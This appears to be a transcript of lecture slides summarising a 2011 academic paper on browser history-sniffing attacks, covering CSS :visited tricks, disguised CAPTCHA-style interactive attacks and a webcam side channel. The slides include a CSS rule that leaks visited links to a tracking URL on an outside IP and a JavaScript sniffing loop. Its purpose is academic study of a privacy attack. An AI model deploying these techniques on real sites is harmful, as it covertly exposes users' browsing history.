I Still Know What You Visited Last Summer: User interaction and
Download
Report
Transcript I Still Know What You Visited Last Summer: User interaction and
I Still Know What You Visited Last Summer:
User interaction and side-channel attacks on
browsing history
Zachary Weinberg
Eric Y. Chen
Pavithra Ramesh Jayaraman
Collin Jackson
Carnegie Mellon University
IEEE Symposium on Security and Privacy, May 2011
2
Outline
3
Introduction
Automated Attacks
Exp 1: Interactive Attacks
Exp 2: Side-Channel Attacks
Related Work
Conclusion
Introduction
4
History Sniffing through CSS :visited
Andrew Clover, 2002,
http://seclists.org/bugtraq/2002/Feb/271
in HTML
<a id="link1" href="http://google.com/">Visit Google!</a>
in CSS
#link1:visited {
color: red;
background:
url(http://140.115.53.28/track.php?url=google.com);
}
Introduction
5
L. David Baron, 2010,
http://dbaron.org/mozilla/visited-privacy
make getComputedStyle act as though all links are unvisited
make certain CSS selectors act as though links are always
unvisited
limits the CSS properties that can be used to style visited links
to color, background-color, border-*-color, outlinecolor, column-rule-color, fill, and stroke
The latest versions of Firefox, Chrome, Safari, and IE
all adopt this defense
still vulnerable with interactive attacks
Introduction
6
Dongseok Jang et al., An Empirical Study of Privacy-
Violating Information Flows in JavaScript Web
Applications
Small sets of links (6~220) probed by real exploiters
46 popular websites, including one from Alexa Top100
This makes interactive attacks possible
Introduction
7
What can history sniffers do?
Benign:
Websites could use history sniffing to determine whether their
users have visited known phishing sites.
Websites could seed visitors’ history with URLs made up for the
purpose, and use the URLs to re-identify their visitors.
Cookies
Malicious:
Track visitors across sites for advertising purpose, determining
whether they also visit a site’s competitors.
Attackers can construct more targeted phishing pages, by
impersonating only sites that a particular victim is known to visit
Automated Attacks
8
Direct sniffing
<style> a:visited { color: red; } </style>
var url_array = new Array('http://a.com', 'http://b.com');
var visited_array = new Array();
var link_el = document.createElement('a');
var computed_style =
document.defaultView.getComputedStyle(link_el, "");
for (var i = 0; i < url_array.length; i++) {
link_el.href = array[i];
if (computed_style.getPropertyValue("color") ==
'rgb(255, 0, 0)'){
visited_array.push(url_array[i]);
}
}
Automated Attacks
9
Indirect Sniffing
Make visited and unvisited links take different amounts of
space, which causes unrelated elements on the page to move;
inspect the positions of those other elements.
Make visited and unvisited links cause different images to
load.
background-image style used in :visited rule
Not
requires JavaScript
Automated Attacks
10
Side-channel sniffing
Timing attacks
the
attacker can make the page take longer to lay out if a link is
visited than if it is unvisited
Transparent
Underline
Any other style rules in :visited
Defense
Baron’s solution does well for all 3 types (direct/indirect/sidechannel) above
Exp 1: Interactive Attacks
11
Require victims to interact with malicious sites
The authors claim that interactive attacks can be disguised as
“normal” interactive tasks that users will not find surprising or
suspicious
Amazon’s Mechanical Turk
Recruit 307 participants
All tasks in this experiment operate within the
constraints of Baron’s defense
Visited-link styles only change the color on the screen
Pretend to be CAPTCHA tests
CAPTCHA: Completely Automated Public Turing test to tell
Computers and Humans Apart
Exp 1: Interactive Attacks
12
Word CAPTCHA
1.
Each word is a hyperlink to an URL that the attacker wishes
to probe
If unvisited, it is drawn in the same color as the
background.
Exp 1: Interactive Attacks
13
2. Character CAPTCHA
Seven-segment LCD symbols
Every letter represents 3 URLs
Site-supplied font
Exp 1: Interactive Attacks
14
4+5=9;4+F=A;5+F=6;4 +5+F=8
“ – “ is always-on
Exp 1: Interactive Attacks
15
3. Chessboard puzzle
Each square contains a URL
Only the pawns corresponding
to visited sites are made visible
Using SVG or text to control
the pawns
Exp 1: Interactive Attacks
16
4. Pattern matching puzzle
Exp 1:
Interactive Attacks
17
Randomly generated task
instances corresponding
to known proportions of
visited and unvisited
links.
Exp 1: Interactive Attacks
18
Automated history-sniffing exploits on all the
participants
URL set from wtikay.com
7012 commonly visited URLs (from Alexa Top 5000)
Exp 1: Interactive Attacks
19
Exp 1: Interactive Attacks
20
Exp 1: Interactive Attacks
21
Exp 1: Interactive Attacks
22
Exp 1: Interactive Attacks
23
Exp 2: Side-channel Attacks
24
Webcam attacks
<blink>
Random 20 URLs with 10 visited ones
Variant 1:
Designed to comply with the WCAG standard for seizure safety
Variant 2:
Make entire browser window flash
Brighter color
Exp 2: Side-channel Attacks
25
Author test
100% accuracy for both variants in all condition
Will-lit room
Person stays still in front of the computer
In a dark room, accuracy dropped to 50%
Field test
60 / 307 participants
Exp 2: Side-channel Attacks
26
Field test
Exp 2: Side-channel Attacks
27
In real life,
ChatRoulette service
The attack works even when the closest reflector is a
wall 10 to 20 feet away from the monitor
Related Work
28
Page cache
Felten et al., Timing Attacks on Web Privacy
DNS cache
Felten et al., Timing Attacks on Web Privacy
Both tactics above
Only for the first time
Short-term history
Loadable cross-origin but only available to logged-in
users
Facebook, Gmail, Twitter, etc.
JavaScript onerror event
Related Work
29
Cookie, Flash Player local shared objects
Ad-blocker, Private browsing mode
Conclusion
30
Automated history sniffing attacks have successfully
been blocked by Baron’s solution
Interactive attacks are not
This paper developed POC of 6 history sniffing
exploited against Baron’s defense
4 interactive attacks
2 detection of the screen through webcam